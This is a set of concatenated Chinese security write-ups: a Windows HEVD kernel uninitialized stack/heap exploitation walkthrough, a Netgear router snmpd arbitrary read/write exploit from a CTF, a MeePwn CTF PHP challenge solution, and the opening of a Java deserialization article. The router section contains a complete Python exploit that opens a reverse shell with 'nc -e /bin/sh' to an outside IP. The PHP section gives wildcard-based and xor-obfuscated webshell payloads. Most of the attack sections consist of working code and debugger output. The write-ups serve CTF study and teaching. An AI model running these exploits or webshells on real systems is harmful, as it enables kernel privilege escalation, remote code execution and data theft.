94d139e4 00c62800 00c62800 00c62800 00c62800
94d139f4 00c62800 00c62800 00c62800 00c62800
94d13a04 00c62800 00c62800 00c62800 00c62800
94d13a14 00c62800 00c62800 00c62800 00c62800
94d13a24 00c62800 00c62800 00c62800 00c62800
memcpy之后，可以看到栈地址空间被喷射上了shellcode的指针，接下来触发漏洞，关于触发的原理阅读HEVD.sys源码很清晰，这里不详细介绍，大致就是当传入的UserValue，和漏洞的MagicValue不一样的情况下，就可以引发未初始化变量。
kd> p
HEVD+0x2cac:
95327cac 8b95ecfeffff mov edx,dword ptr [ebp-114h]
kd> dd ebp-114
8c1f1994 baadf00d 01342800 01342800 01342800
8c1f19a4 01342800 01342800 01342800 01342800
8c1f19b4 01342800 01342800 01342800 01342800
8c1f19c4 01342800 01342800 01342800 01342800
8c1f19d4 01342800 01342800 01342800 01342800
8c1f19e4 01342800 01342800 01342800 01342800
8c1f19f4 01342800 01342800 01342800 01342800
在进入HEVD的Trigger函数之后，可以看到此时内核栈已经被覆盖，这时候UserValue的值，也就是我们可控的值是baadf00d，随后看一下StackVariable结构体的内容。
kd> p
HEVD+0x2ccc:
95327ccc e853d8ffff call HEVD+0x524 (95325524)
kd> r eax
eax=8c1f1998
kd> dd 8c1f1998
8c1f1998 01342800 01342800 01342800 01342800
8c1f19a8 01342800 01342800 01342800 01342800
8c1f19b8 01342800 01342800 01342800 01342800
8c1f19c8 01342800 01342800 01342800 01342800
随后会对UserValue和MagicValue进行比较。
kd> p
HEVD+0x2cda:
95327cda 3b4de0 cmp ecx,dword ptr [ebp-20h]
kd> p
HEVD+0x2cdd:
95327cdd 7516 jne HEVD+0x2cf5 (95327cf5)
kd> r ecx
ecx=baadf00d
kd> dd ebp-20
8c1f1a88 bad0b0b0
UserValue是baadf00d，而HEVD.sys的MagicValue的值是bad0b0b0，不相等的情况下，不会对之前的StackVariable结构体中的成员变量初始化，而此时成员变量的值都被shellcode覆盖，最后引用，导致在内核态进入shellcode。
kd> p
HEVD+0x2d33:
95327d33 ff95f4feffff call dword ptr [ebp-10Ch]
kd> dd ebp-10c
8c1f199c 01342800
01342800 55 push ebp
01342801 8bec mov ebp,esp
01342803 83e4f8 and esp,0FFFFFFF8h
01342806 83ec34 sub esp,34h
01342809 33c0 xor eax,eax
0134280b 56 push esi
0134280c 33f6 xor esi,esi
最后在内核态执行shellcode，替换当前进程token为System token，完成提权。
**0x03 Uninitialized Stack & Heap**
最后就是关于这次challenge了，其实这个challenge非常好理解，如果做过浏览器或者其他跟堆有关漏洞的小伙伴肯定第一时间想到的就是Heap
Spray，没错，堆喷！
利用内核堆喷，我们可以完成对堆结构的控制，最后完成提权，在文章最后，我放一个我修改了UninitializedHeapVariable对应Exploit内容的项目地址，可以利用我的这个项目地址完成提权。
但是，内核堆喷和应用层的堆喷不太一样，要解决两个问题，第一个shellcode放在哪里，第二个如何在用户态向内核堆进行喷射。
解决问题的关键在于NtAllocateVirtualMemory和CreateMutex，首先NtAllocateVirtualMemory对于内核熟悉的小伙伴肯定不会陌生，看过我前面两篇内核调试学习的小伙伴也不会陌生，在很多内核漏洞利用场景中，都会用到这个函数，这个函数可以用来申请零页内存，来完成shellcode的布局。
如何布局是一个问题，这里来看一下漏洞触发位置的调用。
92319abd 83c408 add esp,8
92319ac0 8b4ddc mov ecx,dword ptr [ebp-24h]
92319ac3 8b5104 mov edx,dword ptr [ecx+4]
92319ac6 ffd2 call edx {00460046}
如果我们能够控制edx的话，这里调用的就是刚才通过NtAllocateVirtualMemory申请的内存，这里可以直接往这里面存放shellcode，可是我从老外那学到了一种方法，就是获取shellcode的函数入口指针，然后这里存放68+addr+c3的组合，这样call调用后，执行的内容就是。
kd> t
00640066 68b0141401 push 11414B0h
kd> p
0064006b c3 ret
这样，相当于将shellcode入口指针入栈，esp变成shellcode指针，然后ret，之后就会跳转到shellcode中执行shellcode，这样对于NtAllocateVirtualMemory布局操作就简单很多。
这样，我们只需要申请一个零页空间就行了。
kd> dd 00460046
00460046 35278068 0000c301
布置上我们的push shellcode addr;ret
然后就是关键的CreateMutex，这个会创建互斥体，我们申请多个互斥体，完成对堆的布局。
kd> p
KernelBase!CreateMutexA+0x19:
001b:75961675 e809000000 call KernelBase!CreateMutexExA (75961683)
kd> dd esp
0099e73c 00000000 0099f788 00000001 001f0001
0099e74c 0099f81c 0110320e 00000000 00000001
0099e75c 0099f788 9c1c5b57 00000000 00000000
0099e76c 00000000 00000000 00000000 00000000
0099e77c 00000000 00000000 00000000 00000000
0099e78c 00000000 00000000 00000000 00000000
0099e79c 00000000 00000000 00000000 00000000
0099e7ac 00000000 00000000 00000000 00000000
kd> dc 99f788
0099f788 46464646 67716870 656d7568 6e6c7961 FFFFphqghumeayln
0099f798 7864666c 63726966 78637376 77626767 lfdxfircvscxggbw
0099f7a8 716e666b 77787564 6f666e66 7273767a kfnqduxwfnfozvsr
0099f7b8 706a6b74 67706572 70727867 7976726e tkjprepggxrpnrvy
0099f7c8 776d7473 79737963 70716379 6b697665 stmwcysyycqpevik
0099f7d8 6d666665 6d696e7a 73616b6b 72737776 effmznimkkasvwsr
0099f7e8 6b7a6e65 66786379 736c7478 73707967 enzkycxfxtlsgyps
0099f7f8 70646166 00656f6f 9c1c5b57 0099e760 fadpooe.W[..`...
申请多个互斥体后，可以看到对池空间的控制。可以看到，第一个参数是mutexname，这个前面必须包含46，这样才能进行函数调用后，在pool中覆盖到00460046的值。
kd> r eax
eax=a6630b38
kd> !pool a6630b38
Pool page a6630b38 region is Paged pool
a6630000 size: 100 previous size: 0 (Allocated) IoNm
a6630100 size: 8 previous size: 100 (Free) 0.4.
a6630108 size: 128 previous size: 8 (Allocated) NtFs
a6630230 size: 8 previous size: 128 (Free) Sect
a6630238 size: 18 previous size: 8 (Allocated) Ntf0
a6630250 size: 38 previous size: 18 (Allocated) CMVa
a6630288 size: 68 previous size: 38 (Allocated) FIcs
a66302f0 size: f8 previous size: 68 (Allocated) ObNm
a66303e8 size: 138 previous size: f8 (Allocated) NtFs
a6630520 size: 100 previous size: 138 (Allocated) IoNm
a6630620 size: 128 previous size: 100 (Free) ObNm
a6630748 size: 68 previous size: 128 (Allocated) FIcs
a66307b0 size: 380 previous size: 68 (Allocated) Ntff
*a6630b30 size: f8 previous size: 380 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
这里a6630b30中包含了8字节的pool header，和0xf0的nopage pool，通过CreateMutex，我们会对kernel
pool占用。
kd> dd a6630b38
a6630b38 00000000 00460046 00780069 00620074
a6630b48 0074006b 00770065 00630071 006a0078
a6630b58 00740065 00720063 00730061 006a007a
a6630b68 006e0065 00790070 006a0064 00680061
a6630b78 00710067 00660072 006c007a 0079006f
a6630b88 007a0075 0068006f 00760074 006a0078
a6630b98 006b0063 00730073 00750064 00770077
可以看到，现在头部结构已经被00460046占用，接下来，还是由于UserValue和MagicValue的原因，引发Uninitialized Heap
Variable。
kd> g
Breakpoint 1 hit
HEVD+0x299e:
9231999e ff1598783192 call dword ptr [HEVD+0x898 (92317898)]
kd> p
HEVD+0x29a4:
923199a4 8945dc mov dword ptr [ebp-24h],eax
kd> dd eax
889f8610 00000000 00460046 00780069 00620074
kd> dd 00460046
00460046 35278068 0000c301
随后由于池中结构体的内容未初始化，内核池中存放的还是我们通过CreateMutex布置的内容，直接引用会跳转到我们通过NtAllocateVirtualMemory申请的空间。
kd> p
HEVD+0x2ac0:
95327ac0 8b4ddc mov ecx,dword ptr [ebp-24h]
kd> p
HEVD+0x2ac3:
95327ac3 8b5104 mov edx,dword ptr [ecx+4]
kd> r ecx
ecx=a86c5580
kd> p
HEVD+0x2ac6:
95327ac6 ffd2 call edx
kd> t
00460046 68b0141401 push 11414B0h
kd> p
0064006b c3 ret
kd> p
011414b0 53 push ebx
011414b0 53 push ebx
011414b1 56 push esi
011414b2 57 push edi
011414b3 60 pushad
011414b4 33c0 xor eax,eax
011414b6 648b8024010000 mov eax,dword ptr fs:[eax+124h]
011414bd 8b4050 mov eax,dword ptr [eax+50h]
011414c0 8bc8 mov ecx,eax
随后push shellcode之后，esp的值被修改，直接ret会跳转到shellcode address，执行提权。
**最后我贴上更新后的项目代码**
[https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Source_with_Unin_Heap_Variable_Chall](https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Source_with_Unin_Heap_Variable_Chall) | 社区文章 |
最近时间比较多，把去年Real World总决赛的路由器重新调了一遍
## Building Environment
因为我最后没有拿路由器，所以需要先搭建好整个模拟路由环境启动snmp服务
路由器版本:
Netgear R6300 v2
#https://openwrt.org/toh/netgear/netgear_r6300_v2
首先下载openwrt的源码(18.06.1和18.06.2皆可，只是最后EXP中偏移可能不同)
配置config：
Target System: BCM47XX/53XX
Target Profile: Netgear R6300 v2
Target Images: squashfs //生成文件系统即可
Development: gdb&&gdbserver //便于后续调试
而后保存配置并编译
在编译好的文件中找到编译好的文件系统：
# ls
bin etc mnt proc root sys usr www
dev lib overlay rom sbin tmp var
有两个思路：
通过文件系统制作镜像，再用qemu启动 #没有成功
在qemu启动的arm虚拟机或者可以运行arm的环境下chroot开启整个环境
我选择直接在树莓派中搭建环境
(也可以在qemu system mode下的arm虚拟机中启动，后面有说明)
将文件系统整个放入树莓派中(包括比赛的两个ipk包)：
而后配置chroot环境：
sudo mount proc chroot_dir/proc -t proc
sudo mount sysfs chroot_dir/sys -t sysfs
cp /etc/hosts chroot_dir/etc/hosts #配置网络环境
编辑 chroot_dir/etc/resolv.conf: #配置DNS环境
nameserver 8.8.8.8
开启chroot环境：
sudo chroot . ./bin/sh
而后安装比赛的snmp环境：
opkg install ./libnetsnmp_5.8-1_arm_cortex-a9.ipk
opkg install ./snmpd_5.8-1_arm_cortex-a9.ipk
#可能存在报错无法建立配置文件，在var下建立run文件夹即可
确认snmp服务启动：
路由器环境端:
/ # netstat -anp|grep snmpd
udp 0 0 0.0.0.0:161 0.0.0.0:* 1922/snmpd
udp 0 0 :::161 :::* 1922/snmpd
unix 2 [ ACC ] STREAM LISTENING 18493 1922/snmpd /var/run/agentx.sock
本机端：
kirin@kirin-virtual-machine:~$ snmpwalk -v 1 -c public 192.168.137.33 .1
iso.3.6.1.4.1.2021.13.32.1.0 = INTEGER: 0
iso.3.6.1.4.1.2021.13.32.2.0 = INTEGER: 1996043560
End of MIB
同样得，在qemu system模式下启动的arm虚拟机也可以启动服务：
下载内核&&镜像
https://people.debian.org/~aurel32/qemu/armhf/
配置qemu虚拟机网络：
https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/
启动qemu虚拟机：
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic,macaddr=00:16:3e:00:00:01 -net tap
启动服务后同样配置chroot环境运行即可
## Find R/W at Any Address in MIB
在搭建的路由器环境下gdbserver运行snmpd，IDA下动态调试追踪程序流
可以看到snmp服务会先初始化mib，agent等环境：
LOAD:000125B8 BL init_mib_modules
LOAD:000125BC LDR R0, [R10]
LOAD:000125C0 BL init_snmp
LOAD:000125C4 BL init_master_agent
在init_mib_modules中可以看到：
int init_mib_modules()
{
int result; // r0
int v1; // r3
result = should_init();
if ( result )
result = j_init_greatSensors();
v1 = dword_1102C;
dword_11028 = 1;
if ( !dword_1102C )
{
dword_1102C = 1;
result = snmp_register_callback(v1, 2, (int)sub_9D4);
if ( result )
result = snmp_log(3, "error registering for SHUTDOWN callback for mib modules\n");
}
return result;
}
其会先调用init_greatSensors()注册回调函数：
LOAD:000008E0 init_greatSensors ; CODE XREF: j_init_greatSensors+8↑j
LOAD:000008E0 ; DATA XREF: LOAD:000002D8↑o ...
LOAD:000008E0
LOAD:000008E0 var_70 = -0x70
LOAD:000008E0 var_64 = -0x64
LOAD:000008E0 var_60 = -0x60
LOAD:000008E0 var_38 = -0x38
LOAD:000008E0
LOAD:000008E0 LDR R12, =(dword_A88 - 0x8FC)
LOAD:000008E4 STMFD SP!, {R4,R5,LR}
LOAD:000008E8 SUB SP, SP, #0x64
LOAD:000008EC ADD LR, SP, #0x70+var_60
LOAD:000008F0 LDR R5, =(_GLOBAL_OFFSET_TABLE_ - 0x90C)
LOAD:000008F4 ADD R12, PC, R12 ; dword_A88
LOAD:000008F8 MOV R4, R12
LOAD:000008FC ADD R12, R12, #0x28
LOAD:00000900 LDMIA R4!, {R0-R3}
LOAD:00000904 ADD R5, PC, R5 ; _GLOBAL_OFFSET_TABLE_
LOAD:00000908 STMIA LR!, {R0-R3}
LOAD:0000090C LDMIA R4!, {R0-R3}
LOAD:00000910 STMIA LR!, {R0-R3}
LOAD:00000914 LDMIA R4, {R0,R1}
LOAD:00000918 MOV R4, #3
LOAD:0000091C STMIA LR, {R0,R1}
LOAD:00000920 ADD LR, SP, #0x70+var_38
LOAD:00000924 LDMIA R12!, {R0-R3}
LOAD:00000928 STMIA LR!, {R0-R3}
LOAD:0000092C LDMIA R12!, {R0-R3}
LOAD:00000930 STMIA LR!, {R0-R3}
LOAD:00000934 ADD R2, SP, #0x70+var_60
LOAD:00000938 LDMIA R12, {R0,R1}
LOAD:0000093C LDR R3, =(off_10FFC - 0x10FAC)
LOAD:00000940 STMIA LR, {R0,R1}
LOAD:00000944 LDR R0, =(aGreatmiscsenso - 0x958)
LOAD:00000948 LDR R3, [R5,R3] ; handle_greatMiscSensorsDevice
LOAD:0000094C STR R4, [SP,#0x70+var_70]
LOAD:00000950 ADD R0, PC, R0 ; "greatMiscSensorsDevice"
LOAD:00000954 STR R3, [SP,#0x70+var_64]
LOAD:00000958 MOV R3, #0xA
LOAD:0000095C LDR R1, [SP,#0x70+var_64]
LOAD:00000960 BL netsnmp_create_handler_registration
LOAD:00000964 BL netsnmp_register_scalar
LOAD:00000968 LDR R3, =(off_10FF0 - 0x10FAC)
LOAD:0000096C ADD R2, SP, #0x70+var_38
LOAD:00000970 LDR R0, =(aGreatmiscsenso_0 - 0x980)
LOAD:00000974 LDR R3, [R5,R3] ; handle_greatMiscSensorsIndex
LOAD:00000978 ADD R0, PC, R0 ; "greatMiscSensorsIndex"
LOAD:0000097C STR R4, [SP,#0x70+var_70]
LOAD:00000980 STR R3, [SP,#0x70+var_64]
LOAD:00000984 MOV R3, #0xA
LOAD:00000988 LDR R1, [SP,#0x70+var_64]
LOAD:0000098C BL netsnmp_create_handler_registration
LOAD:00000990 BL netsnmp_register_scalar
LOAD:00000994 MOV R0, #0x78 ; 'x' ; size_t
LOAD:00000998 BL malloc
LOAD:0000099C LDR R3, =(vla_str - 0x9AC)
LOAD:000009A0 MOV R2, #0
LOAD:000009A4 ADD R3, PC, R3 ; vla_str
LOAD:000009A8 STR R0, [R3,#(mib_address - 0x11020)]
LOAD:000009AC STR R2, [R3]
LOAD:000009B0 ADD SP, SP, #0x64
LOAD:000009B4 LDMFD SP!, {R4,R5,PC}
LOAD:000009B4 ; End of function init_greatSensors
可以看到其注册了两个回调函数，动态调试下看到注册过程：
int __fastcall sub_76F59344(int a1, int a2, int a3, int a4)
{
int v4; // r5@1
int v5; // r6@1
int v6; // r7@1
int v7; // r4@1
int v8; // r5@2
v4 = a1;
v5 = a3;
v6 = a4;
v7 = ((int (__cdecl *)(int, int, int))unk_76F4D74C)(a1, a2, a3);
if ( v7 )
{
v8 = ((int (__fastcall *)(int, int, int, int))unk_76F4C0D8)(v4, v7, v5, v6);
if ( !v8 )
((void (__fastcall *)(int))unk_76F4C228)(v7);
}
else
{
v8 = 0;
}
return v8;
}
首先是写入函数地址：
而后函数名称：
而后mib对象对应的OID：
可以看到此OID：1.3.6.1.4.1.2021.13.32.2.0
当利用snmpset/snmpget对此对象进行读写操作时，会利用netsnmp_call_handler函数处理对象，最终调用对应此OID的回调函数：handle_greatMiscSensorsDevice函数
netsnmp_call_handler关键部分：
v10 = (int (__fastcall *)(int *, int, int *, int))v8[3];
if ( !v10 )
break;
se_find_label_in_slist((int)"agent_mode", *v6);
result = v10(v8, v9, v6, v7);
v12 = v8[2];
同样另一个回调函数handle_greatMiscSensorsIndex对应OID：
即：1.3.6.1.4.1.2021.13.32.1.0
这时候关注两个回调函数，发现了任意地址读写：
handle_greatMiscSensorsDevice：
int __fastcall handle_greatMiscSensorsDevice(int a1, int a2, signed int *a3, _DWORD *a4)
{
signed int v4; // r4
int result; // r0
int v6; // r0
int v7; // r3
const char *v8; // r2
int v9; // r1
v4 = *a3;
if ( *a3 == 2 )
{
if ( vla_str <= 29 )
{
*(_DWORD *)(mib_address + 4 * vla_str) = **(_DWORD **)(*a4 + 16);
return 0;
}
LABEL_15:
netsnmp_set_request_error();
return 0;
}
if ( *a3 > 2 )
{
if ( v4 > 5 )
{
if ( v4 != 160 )
goto LABEL_5;
v6 = *a4;
if ( vla_str > 29 )
{
v7 = 7;
v9 = 4;
v8 = "Go Back";
}
else
{
v7 = 4;
v8 = (const char *)(mib_address + 4 * vla_str);
v9 = 2;
}
snmp_set_var_typed_value(v6, v9, (int)v8, v7);
}
return 0;
}
if ( v4 )
{
if ( v4 != 1 )
{
LABEL_5:
snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", *a3);
return 5;
}
return 0;
}
result = netsnmp_check_vb_type(*a4, 2);
if ( result )
goto LABEL_15;
return result;
}
handle_greatMiscSensorsIndex:
int __fastcall handle_greatMiscSensorsIndex(int a1, int a2, signed int *a3, _DWORD *a4)
{
signed int v4; // r4
int result; // r0
v4 = *a3;
if ( *a3 == 2 )
{
vla_str = **(_DWORD **)(*a4 + 16);
return 0;
}
if ( *a3 > 2 )
{
if ( v4 > 5 )
{
if ( v4 != 0xA0 )
goto LABEL_5;
snmp_set_var_typed_value(*a4, 2, (int)&vla_str, 4);// (netsnmp_variable_list *newvar, u_char type, const void *val_str, size_t val_len)
}
return 0;
}
if ( v4 )
{
if ( v4 != 1 )
{
LABEL_5:
snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", *a3);
return 5;
}
return 0;
}
result = netsnmp_check_vb_type(*a4, 2);
if ( result )
{
netsnmp_set_request_error();
return 0;
}
return result;
}
可以看到handle_greatMiscSensorsDevice中：
当使用snmpset写对象时，
#*a3从0循环->0 1 2 3 0 1 2 3......
if ( *a3 == 2 )
{
if ( vla_str <= 29 )
{
*(_DWORD *)(mib_address + 4 * vla_str) = **(_DWORD **)(*a4 + 16);
return 0;
}
mid_address是在snmp服务启动mib初始化时在init_greatSensors中：
result = malloc(0x78u);
mib_address = (int)result;
vla_str = 0;
而val_str在handle_greatMiscSensorsIndex中可以进行设置：
vla_str = **(_DWORD **)(*a4 + 16);
即我们对OID对象1.3.6.1.4.1.2021.13.32.1.0设置的值
所以当我们依次调用handle_greatMiscSensorsIndex进行设置vla_str，此值只需小于29(在这里设置为负数即可)，而后调用handle_greatMiscSensorsDevice即可实现任意地址写
任意地址读相同原理，当snmpget读取对象时，会调用：
#v8 = (const char *)(mib_address + 4 * vla_str);
#这里同样检测vla_str是否大于29，设置为负数即可
snmp_set_var_typed_value(v6, v9, (int)v8, v7)
即会将对象的值设置我们构造地址处的值
而后取出对象value返回给snmpget完成任意地址读
## POC
首先需要leak libc
想到注册回调函数位置
利用任意地址读找到注册函数保存地址来leak libc
hex(0x76F5F9F0-0x76F5F40c)=0x5e4
而后再次利用handle来劫持程序流，即netsnmp_call_handler中：
v10 = (int (__fastcall *)(int *, int, int *, int))v8[3];
if ( !v10 )
break;
se_find_label_in_slist((int)"agent_mode", *v6);
result = v10(v8, v9, v6, v7);
v12 = v8[2];
这时候只需要事先布置好一条ROP链，最后将handle改为我们的rop chain地址即可劫持程序流，最终达到RCE：
ROPgadget --binary ./libc.so
......
0x000596bc : ldr r3, [pc, #0x3c] ; ldr r2, [pc, #0x3c] ; add r3, pc, r3 ; ldr r0, [pc, r2] ; ldr r3, [r3] ; blx r3
......
在这里可以先将r3，r2值分别设置为&system function,&shell
修改handle并再次对snmp对象操作便可达到RCE
#也可以选择其他ROP链，构造可以system(shell)即可
最终POC：
#针对我模拟的路由环境,具体情况可能需要修改偏移
from pwn import *
import sys
import os
#context.log_level="debug"
def read(ip,offset):
cmd1="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0 i %s" %(ip,offset/4)
cmd2="snmpget -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.2.0" %ip
os.system(cmd1)
p2=process(cmd2,shell=True)
p2.recvuntil("INTEGER: ")
leak=int(p2.recvuntil("\n").strip())
p2.close()
return leak
def write(ip,offset,note):
cmd1="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0 i %s" %(ip,offset/4)
cmd2="snmpset -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.2.0 i %s" %(ip,note)
os.system(cmd1)
sleep(0.5)
os.system(cmd2)
def get_shell(ip):
cmd="snmpget -v 1 -c public %s 1.3.6.1.4.1.2021.13.32.1.0" %ip
os.system(cmd)
if __name__=="__main__":
ip=sys.argv[1]
#leak addr
handle_addr=read(ip,-0x5e4)
mibso_base=handle_addr-0x818
libcso_base=handle_addr+0x507e8
log.info("mibso_base="+hex(mibso_base))
log.info("libcso_base="+hex(libcso_base))
system_addr=libcso_base+0x43210
ropchain_addr=libcso_base+0x596bc
r3_addr=libcso_base+0x80394
r2_addr=libcso_base+0x80398
#build rop chain
base=mibso_base+0xd29f0
cmd_addr=libcso_base+0x80420
write(ip,r3_addr-base,system_addr)
write(ip,r2_addr-base,cmd_addr)
cmd="nc -e /bin/sh 192.168.160.131 1234\x00" #the shell you want run in router
#padding
cmd+="1"
time=len(cmd)/4
cmd=cmd.ljust((time+1)*4,"1")
for i in range(time):
write(ip,cmd_addr+i*4-base,u32(cmd[i*4:i*4+4]))
write(ip,-0x5e4,ropchain_addr)
get_shell(ip)
## Run POC&&Get Shell
python payload.py router_ip | 社区文章 |
## 题目信息
Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me
http://138.68.228.12/
见进去之后又是熟悉的二次元风格，ORZ....
初步的信息搜集，发现网页的源码里面存在注释,注释提示了请求的参数
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
带上参数请求地址
http://138.68.228.12/?is_debug=1
得到的网页中直接打印出了首页源码
<?php
ob_start();
session_start();
?>
<html>
<style type="text/css">* {
cursor: url(assets/maplcursor.cur), auto !important;
}</style>
<head>
<link rel="stylesheet" href="assets/omega_sector.css">
<link rel="stylesheet" href="assets/tsu_effect.css">
</head>
<?php
ini_set("display_errors", 0);
include('secret.php');
$remote = $_SERVER['REQUEST_URI'];
// var_dump($remote);
if (strpos(urldecode($remote), '..')) {
mapl_die();
}
// var_dump(!parse_url($remote, PHP_URL_HOST));
if (!parse_url($remote, PHP_URL_HOST)) {
$remote = 'http://' . $_SERVER['REMOTE_ADDR'] . $_SERVER['REQUEST_URI'];
}
//var_dump($remote);
$whoareyou = parse_url($remote, PHP_URL_HOST);
//var_dump($whoareyou);
if ($whoareyou === "alien.somewhere.meepwn.team") {
if (!isset($_GET['alien'])) {
$wrong = <<<EOF
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You ALIEN??</h1>
<form id="main">
<button type="submit" class="button-success" name="alien" value="Yes">Yes</button>
<button type="submit" class="button-error" name="alien" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
echo $wrong;
}
if (isset($_GET['alien']) and !empty($_GET['alien'])) {
if ($_GET['alien'] === '@!#$@!@@') {
$_SESSION['auth'] = hash('sha256', 'alien' . $salt);
exit(header("Location: alien_sector.php"));
} else {
mapl_die();
}
}
} elseif ($whoareyou === "human.ludibrium.meepwn.team") {
if (!isset($_GET['human'])) {
echo "";
$wrong = <<<EOF
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You Human?</h1>
<form id="main">
<button type="submit" class="button-success" name="human" value="Yes">Yes</button>
<button type="submit" class="button-error" name="human" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
echo $wrong;
}
if (isset($_GET['human']) and !empty($_GET['human'])) {
if ($_GET['human'] === 'Yes') {
$_SESSION['auth'] = hash('sha256', 'human' . $salt);
exit(header("Location: omega_sector.php"));
} else {
mapl_die();
}
}
} else {
echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>';
echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />';
if (isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug'] === "1") {
show_source(__FILE__);
}
}
?>
<body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>
<?php ob_end_flush(); ?>
## 代码分析
通过分析泄露的源码，可以得到一些信息
FLAG应该是藏在`secret.php`里面。
首页本身应该并没有途径可以直接读取FLAG，但是存在两个可以跳转的页面`alien_sector.php`和`omega_sector.php`。
首先直接去访问这两个页面，发现报错。
仔细看下代码分支里设置了`$_SESSION`，跳转页面应该是验证了`SESSION`
**alien_sector.php**
$_SESSION['auth'] = hash('sha256', 'alien' . $salt);
**omega_sector.php**
$_SESSION['auth'] = hash('sha256', 'human' . $salt);
看来我们只能通过分支的判断，才能进入页面。
<?php
..
$remote = $_SERVER['REQUEST_URI'];
if (strpos(urldecode($remote), '..')) {
mapl_die();
}
if (!parse_url($remote, PHP_URL_HOST)) {
$remote = 'http://' . $_SERVER['REMOTE_ADDR'] . $_SERVER['REQUEST_URI'];
}
$whoareyou = parse_url($remote, PHP_URL_HOST);
通过`if ($whoareyou === "alien.somewhere.meepwn.team")`这里进行判断
`$whoareyou`是由`$remote`获取的，`$remote`则来自`$_SERVER['REQUEST_URI']`。
`$_SERVER['REQUEST_URI']`这里可以修改HTTP请求首行的URL进行控制
进入alien_sector.php
GET http://alien.somewhere.meepwn.team?alien=%40%21%23%24%40%21%40%40 HTTP/1.1
Host: 138.68.228.12
进入omega_sector.php
GET http://human.ludibrium.meepwn.team?human=YES HTTP/1.1
Host: 138.68.228.12
进去后可以发现两个页面均有表单，可以用做文件写入，提交后会有两个参数`message`和`type`。
`message`是文件写入的内容，`type`是文件写入的后缀名。
两个页面对`message`的长度进行了限制，不能超过40个字符，然后就是`type`这个后缀名还可以用来跨目录。
`alien_sector.php`这个页面提交的`message`内容限制为非数字和字母的字符，也就是外星语，2333.........
`omega_sector.php`这个页面提交的`message`内容限制为数字和字母，人话........
## 获取FLAG
这两个功能中，选择使用`alien_sector.php`这个外星人模块进行看起来更简单
毕竟使用非数字，字母的Webshell还是比较常见的，更容易突破限制。
### php标签
php的标签`<?php`存在字母肯定不行，尝试`<?`发现不解析，没有开启段标签。
很蛋疼，卡了好久，查资料后发现`<?=`可以作为php标签。`<?=`的含义为`<?php echo`，是PHP 5.4.0以后的新特性
**不管是否设置 short_open_tag php.ini 选项， <?= 将总是可用。**
<http://php.net/manual/zh/migration54.new-features.php>
使用代码`<?=$_='$$$';`测试，成功输出`$$$`，引入php标签的问题就解决了，ORZ.....
### 通配符
因为40个字符长度的限制，导致以前逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号`` `` 和Linux下面的通配符`?`
* `?` 代表匹配一个字符
`cat ../secret.php>@#$` === `/bin/cat ../secret.php>@#$`，两者等价
然后将字母处全部换上通配符，`/???/??? ../???.???>@#$`。
最后我们加上php标签和反引号得到Payload如下
<?=$_=`/???/??? ../??????.???>@#$`;
发送请求如下，得到执行命令的`alien_message/rain.php`
POST /alien_sector.php HTTP/1.1
Host: 138.68.228.12
Content-Length: 61
Cache-Control: max-age=0
Origin: http://138.68.228.12
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://138.68.228.12/alien_sector.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=752fs9v4lo6qburqi2urksdeg1
Connection: close
message=<?=$_=`/???/??? ../??????.???>~!@`;&type=/../rain.php
再访问`rain.php`，得到重定向的文件`~!@`。
下载`~!@`后得到Flag`MeePwnCTF{__133-221-333-123-111___}`
PS:看了下dalao，发现异或的Webshell也是可以，不用逐个字符串异或拼接，连载一起也可以
<?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
// equivalent to $_GET[_]($_GET[__]); | 社区文章 |
## 前言
以前做一些 Java
反序列化的题目时，我个人觉得侧重点在于`readObject`之后发生的事情：我们设法寻找可用的`gadget`并拼接，最后用一行`xxx.writeObject()`仅用来帮我们得到恶意数据。
最近学习过程中做了几个非常有意思的题目，总结一下其中共同的思想就是对
**`writeObject`的流程**下手，通过这部分流程中代码的一些问题来实现漏洞利用。
## 如何控制恶意数据
### 从代码逻辑入手
其实就是修改`writeObject`流程中的源代码，视情况有以下这些办法：
* 直接`ctrl+a`复制用到的类新建为一个类并修改相关操作
如`Hessian2Output`我们修改的流程刚好在`writeObject`所在 Java 文件中
* 下载对应版本源代码进行修改后重新编译成 Jar 包，这种办法在编译的时候可能要导入许多 **依赖** ，还要注意 **编译** 和 **运行** 的 Java 版本
* 利用 Java Agent 技术，用法可以学习：<https://www.cnblogs.com/nice0e3/p/14086165.html，>
然后利用 javassist 修改字节码
